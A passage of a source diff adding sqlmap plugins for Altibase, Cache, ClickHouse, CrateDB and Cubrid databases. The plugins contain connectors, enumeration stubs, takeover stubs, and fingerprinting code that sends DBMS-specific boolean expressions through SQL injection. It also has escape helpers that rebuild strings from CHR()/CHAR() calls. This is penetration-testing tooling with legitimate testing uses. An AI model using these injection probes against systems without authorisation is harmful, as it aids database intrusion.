Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.ALTIBASE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(ALTIBASE_ALIASES): + setDbms(DBMS.ALTIBASE) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.ALTIBASE + logger.info(infoMsg) + + # Reference: http://support.altibase.com/fileDownload.do?gubun=admin&no=228 + result = inject.checkBooleanExpression("CHOSUNG(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.ALTIBASE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("TDESENCRYPT(NULL,NULL) IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE + logger.warning(warnMsg) + + return False + + setDbms(DBMS.ALTIBASE) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/altibase/syntax.py b/plugins/dbms/altibase/syntax.py new file mode 100644 index 00000000000..7ba5c8b9f38 --- /dev/null +++ b/plugins/dbms/altibase/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/altibase/takeover.py b/plugins/dbms/altibase/takeover.py new file mode 100644 index 00000000000..abc2f4d9f61 --- /dev/null +++ b/plugins/dbms/altibase/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Altibase it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Altibase it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Altibase it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Altibase it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/cache/__init__.py b/plugins/dbms/cache/__init__.py new file mode 100644 index 00000000000..b4c8abdce26 --- /dev/null +++ b/plugins/dbms/cache/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import CACHE_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.cache.enumeration import Enumeration +from plugins.dbms.cache.filesystem import Filesystem +from plugins.dbms.cache.fingerprint import Fingerprint +from plugins.dbms.cache.syntax import Syntax +from plugins.dbms.cache.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class CacheMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Cache methods + """ + + def __init__(self): + self.excludeDbsList = CACHE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CACHE] = Syntax.escape diff --git a/plugins/dbms/cache/connector.py b/plugins/dbms/cache/connector.py new file mode 100644 index 00000000000..2f2d3c5102f --- /dev/null +++ b/plugins/dbms/cache/connector.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import jaydebeapi + import jpype +except: + pass + +import logging + +from lib.core.common import checkFile +from lib.core.common import getSafeExString +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/ + User guide: https://pypi.python.org/pypi/JayDeBeApi/#usage & http://jpype.sourceforge.net/doc/user-guide/userguide.html + API: - + Debian package: - + License: LGPL & Apache License 2.0 + """ + + def connect(self): + self.initConnection() + try: + msg = "please enter the location of 'cachejdbc.jar'? " + jar = readInput(msg) + checkFile(jar) + args = "-Djava.class.path=%s" % jar + jvm_path = jpype.getDefaultJVMPath() + jpype.startJVM(jvm_path, args) + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + try: + driver = 'com.intersys.jdbc.CacheDriver' + connection_string = 'jdbc:Cache://%s:%d/%s' % (self.hostname, self.port, self.db) + self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password)) + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except Exception as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except Exception as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + + self.connector.commit() + + return retVal + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/cache/enumeration.py b/plugins/dbms/cache/enumeration.py new file mode 100644 index 00000000000..4ac3e1acca7 --- /dev/null +++ b/plugins/dbms/cache/enumeration.py @@ -0,0 +1,48 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from lib.core.settings import CACHE_DEFAULT_SCHEMA +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getCurrentDb(self): + return CACHE_DEFAULT_SCHEMA + + def getUsers(self): + warnMsg = "on Cache it is not possible to enumerate the users" + logger.warning(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Cache it is not possible to enumerate password hashes" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Cache it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on Cache it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] + + def getRoles(self, *args, **kwargs): + warnMsg = "on Cache it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Cache it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/cache/filesystem.py b/plugins/dbms/cache/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/cache/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/cache/fingerprint.py b/plugins/dbms/cache/fingerprint.py new file mode 100644 index 00000000000..909f42d2442 --- /dev/null +++ b/plugins/dbms/cache/fingerprint.py @@ -0,0 +1,113 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS +from lib.core.session import setDbms +from lib.core.settings import CACHE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CACHE) + + def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("$ZVERSION LIKE '%IRIS%'"): + fork = FORK.IRIS + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CACHE + if fork: + value += " (%s fork)" % fork + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CACHE_ALIASES): + setDbms(DBMS.CACHE) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CACHE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("$LISTLENGTH(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.CACHE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("%EXTERNAL %INTERNAL NULL IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CACHE + logger.warning(warnMsg) + + return False + + setDbms(DBMS.CACHE) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CACHE + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/cache/syntax.py b/plugins/dbms/cache/syntax.py new file mode 100644 index 00000000000..9a23d5195a1 --- /dev/null +++ b/plugins/dbms/cache/syntax.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/cache/takeover.py b/plugins/dbms/cache/takeover.py new file mode 100644 index 00000000000..332b33887e0 --- /dev/null +++ b/plugins/dbms/cache/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Cache it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Cache it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Cache it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Cache it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py new file mode 100755 index 00000000000..ff10ae10c88 --- /dev/null +++ b/plugins/dbms/clickhouse/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import CLICKHOUSE_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.clickhouse.enumeration import Enumeration +from plugins.dbms.clickhouse.filesystem import Filesystem +from plugins.dbms.clickhouse.fingerprint import Fingerprint +from plugins.dbms.clickhouse.syntax import Syntax +from plugins.dbms.clickhouse.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class ClickHouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines ClickHouse methods + """ + + def __init__(self): + self.excludeDbsList = CLICKHOUSE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CLICKHOUSE] = Syntax.escape diff --git a/plugins/dbms/clickhouse/connector.py b/plugins/dbms/clickhouse/connector.py new file mode 100755 index 00000000000..83a868de757 --- /dev/null +++ b/plugins/dbms/clickhouse/connector.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + pass diff --git a/plugins/dbms/clickhouse/enumeration.py b/plugins/dbms/clickhouse/enumeration.py new file mode 100755 index 00000000000..8c12e1aad5a --- /dev/null +++ b/plugins/dbms/clickhouse/enumeration.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on ClickHouse it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on ClickHouse it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} diff --git a/plugins/dbms/clickhouse/filesystem.py b/plugins/dbms/clickhouse/filesystem.py new file mode 100755 index 00000000000..5be3e8a779d --- /dev/null +++ b/plugins/dbms/clickhouse/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on ClickHouse it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on ClickHouse it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/clickhouse/fingerprint.py b/plugins/dbms/clickhouse/fingerprint.py new file mode 100755 index 00000000000..1419d4dc62e --- /dev/null +++ b/plugins/dbms/clickhouse/fingerprint.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import CLICKHOUSE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CLICKHOUSE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CLICKHOUSE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CLICKHOUSE_ALIASES): + setDbms(DBMS.CLICKHOUSE) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CLICKHOUSE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("halfMD5('abcd')='16356072519128051347'") + + if result: + infoMsg = "confirming %s" % DBMS.CLICKHOUSE + logger.info(infoMsg) + result = inject.checkBooleanExpression("generateUUIDv4(1)!=generateUUIDv4(2)") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE + logger.warning(warnMsg) + + return False + + setDbms(DBMS.CLICKHOUSE) + self.getBanner() + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/clickhouse/syntax.py b/plugins/dbms/clickhouse/syntax.py new file mode 100755 index 00000000000..93da628052a --- /dev/null +++ b/plugins/dbms/clickhouse/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT char(97)||char(98)||char(99)||char(100)||char(101)||char(102)||char(103)||char(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("char(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/clickhouse/takeover.py b/plugins/dbms/clickhouse/takeover.py new file mode 100755 index 00000000000..6e16590937b --- /dev/null +++ b/plugins/dbms/clickhouse/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on ClickHouse it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on ClickHouse it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on ClickHouse it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on ClickHouse it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/cratedb/__init__.py b/plugins/dbms/cratedb/__init__.py new file mode 100644 index 00000000000..c9e2259bf0d --- /dev/null +++ b/plugins/dbms/cratedb/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import CRATEDB_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.cratedb.enumeration import Enumeration +from plugins.dbms.cratedb.filesystem import Filesystem +from plugins.dbms.cratedb.fingerprint import Fingerprint +from plugins.dbms.cratedb.syntax import Syntax +from plugins.dbms.cratedb.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class CrateDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines CrateDB methods + """ + + def __init__(self): + self.excludeDbsList = CRATEDB_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CRATEDB] = Syntax.escape diff --git a/plugins/dbms/cratedb/connector.py b/plugins/dbms/cratedb/connector.py new file mode 100644 index 00000000000..0c5e5436180 --- /dev/null +++ b/plugins/dbms/cratedb/connector.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import psycopg2 + import psycopg2.extensions + psycopg2.extensions.register_type(psycopg2.extensions.UNICODE) + psycopg2.extensions.register_type(psycopg2.extensions.UNICODEARRAY) +except: + pass + +from lib.core.common import getSafeExString +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: http://initd.org/psycopg/ + User guide: http://initd.org/psycopg/docs/ + API: http://initd.org/psycopg/docs/genindex.html + Debian package: python-psycopg2 + License: GPL + + Possible connectors: http://wiki.python.org/moin/PostgreSQL + """ + + def connect(self): + self.initConnection() + + try: + self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port) + except psycopg2.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.set_client_encoding('UNICODE') + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except psycopg2.ProgrammingError as ex: + logger.warning(getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except (psycopg2.OperationalError, psycopg2.ProgrammingError) as ex: + logger.warning(("(remote) '%s'" % getSafeExString(ex)).strip()) + except psycopg2.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + return retVal + + def select(self, query): + retVal = None + + if self.execute(query): + retVal = self.fetchall() + + return retVal diff --git a/plugins/dbms/cratedb/enumeration.py b/plugins/dbms/cratedb/enumeration.py new file mode 100644 index 00000000000..4c9e66b39e2 --- /dev/null +++ b/plugins/dbms/cratedb/enumeration.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on CrateDB it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on CrateDB it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} diff --git a/plugins/dbms/cratedb/filesystem.py b/plugins/dbms/cratedb/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/cratedb/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/cratedb/fingerprint.py b/plugins/dbms/cratedb/fingerprint.py new file mode 100644 index 00000000000..7a6b6f545df --- /dev/null +++ b/plugins/dbms/cratedb/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import CRATEDB_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CRATEDB) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CRATEDB + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CRATEDB_ALIASES): + setDbms(DBMS.CRATEDB) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CRATEDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("IGNORE3VL(NULL IS NULL)") + + if result: + infoMsg = "confirming %s" % DBMS.CRATEDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("1~1") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB + logger.warning(warnMsg) + + return False + + setDbms(DBMS.CRATEDB) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/cratedb/syntax.py b/plugins/dbms/cratedb/syntax.py new file mode 100644 index 00000000000..17a0a02c257 --- /dev/null +++ b/plugins/dbms/cratedb/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/cratedb/takeover.py b/plugins/dbms/cratedb/takeover.py new file mode 100644 index 00000000000..0e8b86c004c --- /dev/null +++ b/plugins/dbms/cratedb/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on CrateDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on CrateDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on CrateDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on CrateDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/cubrid/__init__.py b/plugins/dbms/cubrid/__init__.py new file mode 100644 index 00000000000..d5aedaf3c04 --- /dev/null +++ b/plugins/dbms/cubrid/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import CUBRID_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.cubrid.enumeration import Enumeration +from plugins.dbms.cubrid.filesystem import Filesystem +from plugins.dbms.cubrid.fingerprint import Fingerprint +from plugins.dbms.cubrid.syntax import Syntax +from plugins.dbms.cubrid.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class CubridMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Cubrid methods + """ + + def __init__(self): + self.excludeDbsList = CUBRID_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CUBRID] = Syntax.escape diff --git a/plugins/dbms/cubrid/connector.py b/plugins/dbms/cubrid/connector.py new file mode 100644 index 00000000000..76aa9ea390c --- /dev/null +++ b/plugins/dbms/cubrid/connector.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import CUBRIDdb +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as 